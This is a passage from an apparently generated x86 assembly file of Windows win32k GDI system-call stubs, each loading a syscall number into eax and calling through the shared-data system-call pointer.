arg_01:DWORD mov eax , 4163 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDeleteDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdDeleteSurfaceObject( ULONG arg_01 ); NtGdiDdDeleteSurfaceObject PROC STDCALL arg_01:DWORD mov eax , 4164 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDeleteSurfaceObject ENDP ; ULONG __stdcall NtGdiDdDestroyMoComp( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDestroyMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4165 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDestroyMoComp ENDP ; ULONG __stdcall NtGdiDdDestroySurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDestroySurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4166 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDestroySurface ENDP ; ULONG __stdcall NtGdiDdDestroyD3DBuffer( ULONG arg_01 ); NtGdiDdDestroyD3DBuffer PROC STDCALL arg_01:DWORD mov eax , 4167 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDestroyD3DBuffer ENDP ; ULONG __stdcall NtGdiDdEndMoCompFrame( ULONG arg_01 , ULONG arg_02 ); NtGdiDdEndMoCompFrame PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4168 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdEndMoCompFrame ENDP ; ULONG __stdcall NtGdiDdFlip( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiDdFlip PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4169 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiDdFlip ENDP ; ULONG __stdcall NtGdiDdFlipToGDISurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdFlipToGDISurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4170 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdFlipToGDISurface ENDP ; ULONG __stdcall NtGdiDdGetAvailDriverMemory( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetAvailDriverMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4171 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetAvailDriverMemory ENDP ; ULONG __stdcall NtGdiDdGetBltStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetBltStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4172 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetBltStatus ENDP ; ULONG __stdcall NtGdiDdGetDC( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4173 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetDC ENDP ; ULONG __stdcall NtGdiDdGetDriverInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetDriverInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4174 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetDriverInfo ENDP ; ULONG __stdcall NtGdiDdGetDxHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdGetDxHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4175 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdGetDxHandle ENDP ; ULONG __stdcall NtGdiDdGetFlipStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetFlipStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4176 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetFlipStatus ENDP ; ULONG __stdcall NtGdiDdGetInternalMoCompInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetInternalMoCompInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4177 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetInternalMoCompInfo ENDP ; ULONG __stdcall NtGdiDdGetMoCompBuffInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetMoCompBuffInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4178 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetMoCompBuffInfo ENDP ; ULONG __stdcall NtGdiDdGetMoCompGuids( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetMoCompGuids PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4179 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetMoCompGuids ENDP ; ULONG __stdcall NtGdiDdGetMoCompFormats( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetMoCompFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4180 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetMoCompFormats ENDP ; ULONG __stdcall NtGdiDdGetScanLine( ULONG arg_01 , ULONG arg_02 ); NtGdiDdGetScanLine PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4181 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdGetScanLine ENDP ; ULONG __stdcall NtGdiDdLock( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdLock PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4182 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdLock ENDP ; ULONG __stdcall NtGdiDdLockD3D( ULONG arg_01 , ULONG arg_02 ); NtGdiDdLockD3D PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4183 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdLockD3D ENDP ; ULONG __stdcall NtGdiDdQueryDirectDrawObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiDdQueryDirectDrawObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4184 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiDdQueryDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdQueryMoCompStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDdQueryMoCompStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4185 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdQueryMoCompStatus ENDP ; ULONG __stdcall NtGdiDdReenableDirectDrawObject( ULONG arg_01 , ULONG arg_02 ); NtGdiDdReenableDirectDrawObject PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4186 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdReenableDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdReleaseDC( ULONG arg_01 ); NtGdiDdReleaseDC PROC STDCALL arg_01:DWORD mov eax , 4187 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdReleaseDC ENDP ; ULONG __stdcall NtGdiDdRenderMoComp( ULONG arg_01 , ULONG arg_02 ); NtGdiDdRenderMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4188 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdRenderMoComp ENDP ; ULONG __stdcall NtGdiDdResetVisrgn( ULONG arg_01 , ULONG arg_02 ); NtGdiDdResetVisrgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4189 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdResetVisrgn ENDP ; ULONG __stdcall NtGdiDdSetColorKey( ULONG arg_01 , ULONG arg_02 ); NtGdiDdSetColorKey PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4190 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdSetColorKey ENDP ; ULONG __stdcall NtGdiDdSetExclusiveMode( ULONG arg_01 , ULONG arg_02 ); NtGdiDdSetExclusiveMode PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4191 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdSetExclusiveMode ENDP ; ULONG __stdcall NtGdiDdSetGammaRamp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdSetGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4192 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdSetGammaRamp ENDP ; ULONG __stdcall NtGdiDdCreateSurfaceEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdCreateSurfaceEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4193 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdCreateSurfaceEx ENDP ; ULONG __stdcall NtGdiDdSetOverlayPosition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdSetOverlayPosition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4194 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdSetOverlayPosition ENDP ; ULONG __stdcall NtGdiDdUnattachSurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdUnattachSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4195 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdUnattachSurface ENDP ; ULONG __stdcall NtGdiDdUnlock( ULONG arg_01 , ULONG arg_02 ); NtGdiDdUnlock PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4196 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdUnlock ENDP ; ULONG __stdcall NtGdiDdUnlockD3D( ULONG arg_01 , ULONG arg_02 ); NtGdiDdUnlockD3D PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4197 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdUnlockD3D ENDP ; ULONG __stdcall NtGdiDdUpdateOverlay( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdUpdateOverlay PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4198 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdUpdateOverlay ENDP ; ULONG __stdcall NtGdiDdWaitForVerticalBlank( ULONG arg_01 , ULONG arg_02 ); NtGdiDdWaitForVerticalBlank PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4199 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdWaitForVerticalBlank ENDP ; ULONG __stdcall NtGdiDvpCanCreateVideoPort( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpCanCreateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4200 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpCanCreateVideoPort ENDP ; ULONG __stdcall NtGdiDvpColorControl( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpColorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4201 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpColorControl ENDP ; ULONG __stdcall NtGdiDvpCreateVideoPort( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpCreateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4202 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpCreateVideoPort ENDP ; ULONG __stdcall NtGdiDvpDestroyVideoPort( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpDestroyVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4203 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpDestroyVideoPort ENDP ; ULONG __stdcall NtGdiDvpFlipVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDvpFlipVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4204 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDvpFlipVideoPort ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortBandwidth( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortBandwidth PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4205 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortBandwidth ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortField( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortField PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4206 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortField ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortFlipStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortFlipStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4207 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortFlipStatus ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortInputFormats( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortInputFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4208 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortInputFormats ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortLine( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortLine PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4209 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortLine ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortOutputFormats( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortOutputFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4210 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortOutputFormats ENDP ; ULONG __stdcall NtGdiDvpGetVideoPortConnectInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoPortConnectInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4211 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoPortConnectInfo ENDP ; ULONG __stdcall NtGdiDvpGetVideoSignalStatus( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpGetVideoSignalStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4212 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpGetVideoSignalStatus ENDP ; ULONG __stdcall NtGdiDvpUpdateVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDvpUpdateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4213 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDvpUpdateVideoPort ENDP ; ULONG __stdcall NtGdiDvpWaitForVideoPortSync( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpWaitForVideoPortSync PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4214 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpWaitForVideoPortSync ENDP ; ULONG __stdcall NtGdiDvpAcquireNotification( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDvpAcquireNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4215 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDvpAcquireNotification ENDP ; ULONG __stdcall NtGdiDvpReleaseNotification( ULONG arg_01 , ULONG arg_02 ); NtGdiDvpReleaseNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4216 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDvpReleaseNotification ENDP ; ULONG __stdcall NtGdiDxgGenericThunk( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiDxgGenericThunk PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4217 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiDxgGenericThunk ENDP ; ULONG __stdcall NtGdiDeleteClientObj( ULONG arg_01 ); NtGdiDeleteClientObj PROC STDCALL arg_01:DWORD mov eax , 4218 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDeleteClientObj ENDP ; ULONG __stdcall NtGdiDeleteColorSpace( ULONG arg_01 ); NtGdiDeleteColorSpace PROC STDCALL arg_01:DWORD mov eax , 4219 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDeleteColorSpace ENDP ; ULONG __stdcall NtGdiDeleteColorTransform( ULONG arg_01 , ULONG arg_02 ); NtGdiDeleteColorTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4220 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDeleteColorTransform ENDP ; ULONG __stdcall NtGdiDeleteObjectApp( ULONG arg_01 ); NtGdiDeleteObjectApp PROC STDCALL arg_01:DWORD mov eax , 4221 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDeleteObjectApp ENDP ; ULONG __stdcall NtGdiDescribePixelFormat( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDescribePixelFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4222 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDescribePixelFormat ENDP ; ULONG __stdcall NtGdiDestroyOPMProtectedOutput( ULONG arg_01 ); NtGdiDestroyOPMProtectedOutput PROC STDCALL arg_01:DWORD mov eax , 4223 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDestroyOPMProtectedOutput ENDP ; ULONG __stdcall NtGdiGetPerBandInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiGetPerBandInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4224 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetPerBandInfo ENDP ; ULONG __stdcall NtGdiDoBanding( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDoBanding PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4225 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDoBanding ENDP ; ULONG __stdcall NtGdiDoPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiDoPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4226 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiDoPalette ENDP ; ULONG __stdcall NtGdiDrawEscape( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDrawEscape PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4227 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDrawEscape ENDP ; ULONG __stdcall NtGdiEllipse( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiEllipse PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4228 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiEllipse ENDP ; ULONG __stdcall NtGdiEnableEudc( ULONG arg_01 ); NtGdiEnableEudc PROC STDCALL arg_01:DWORD mov eax , 4229 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEnableEudc ENDP ; ULONG __stdcall NtGdiEndDoc( ULONG arg_01 ); NtGdiEndDoc PROC STDCALL arg_01:DWORD mov eax , 4230 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEndDoc ENDP ; ULONG __stdcall NtGdiEndGdiRendering( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEndGdiRendering PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4231 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEndGdiRendering ENDP ; ULONG __stdcall NtGdiEndPage( ULONG arg_01 ); NtGdiEndPage PROC STDCALL arg_01:DWORD mov eax , 4232 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEndPage ENDP ; ULONG __stdcall NtGdiEndPath( ULONG arg_01 ); NtGdiEndPath PROC STDCALL arg_01:DWORD mov eax , 4233 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEndPath ENDP ; ULONG __stdcall NtGdiEnumFonts( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiEnumFonts PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4234 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiEnumFonts ENDP ; ULONG __stdcall NtGdiEnumObjects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiEnumObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4235 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiEnumObjects ENDP ; ULONG __stdcall NtGdiEqualRgn( ULONG arg_01 , ULONG arg_02 ); NtGdiEqualRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4236 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiEqualRgn ENDP ; ULONG __stdcall NtGdiEudcLoadUnloadLink( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiEudcLoadUnloadLink PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4237 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiEudcLoadUnloadLink ENDP ; ULONG __stdcall NtGdiExcludeClipRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiExcludeClipRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4238 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiExcludeClipRect ENDP ; ULONG __stdcall NtGdiExtCreatePen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiExtCreatePen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4239 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiExtCreatePen ENDP ; ULONG __stdcall NtGdiExtCreateRegion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiExtCreateRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4240 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiExtCreateRegion ENDP ; ULONG __stdcall NtGdiExtEscape( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiExtEscape PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4241 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiExtEscape ENDP ; ULONG __stdcall NtGdiExtFloodFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiExtFloodFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4242 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiExtFloodFill ENDP ; ULONG __stdcall NtGdiExtGetObjectW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiExtGetObjectW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4243 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiExtGetObjectW ENDP ; ULONG __stdcall NtGdiExtSelectClipRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiExtSelectClipRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4244 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiExtSelectClipRgn ENDP ; ULONG __stdcall NtGdiExtTextOutW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiExtTextOutW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4245 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiExtTextOutW ENDP ; ULONG __stdcall NtGdiFillPath( ULONG arg_01 ); NtGdiFillPath PROC STDCALL arg_01:DWORD mov eax , 4246 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFillPath ENDP ; ULONG __stdcall NtGdiFillRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiFillRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4247 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiFillRgn ENDP ; ULONG __stdcall NtGdiFlattenPath( ULONG arg_01 ); NtGdiFlattenPath PROC STDCALL arg_01:DWORD mov eax , 4248 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFlattenPath ENDP ; ULONG __stdcall NtGdiFlush( ); NtGdiFlush PROC STDCALL mov eax , 4249 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiFlush ENDP ; ULONG __stdcall NtGdiForceUFIMapping( ULONG arg_01 , ULONG arg_02 ); NtGdiForceUFIMapping PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4250 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiForceUFIMapping ENDP ; ULONG __stdcall NtGdiFrameRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiFrameRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4251 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiFrameRgn ENDP ; ULONG __stdcall NtGdiFullscreenControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiFullscreenControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4252 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiFullscreenControl ENDP ; ULONG __stdcall NtGdiGetAndSetDCDword( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetAndSetDCDword PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4253 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetAndSetDCDword ENDP ; ULONG __stdcall NtGdiGetAppClipBox( ULONG arg_01 , ULONG arg_02 ); NtGdiGetAppClipBox PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4254 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetAppClipBox ENDP ; ULONG __stdcall NtGdiGetBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4255 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetBitmapBits ENDP ; ULONG __stdcall NtGdiGetBitmapDimension( ULONG arg_01 , ULONG arg_02 ); NtGdiGetBitmapDimension PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4256 mov 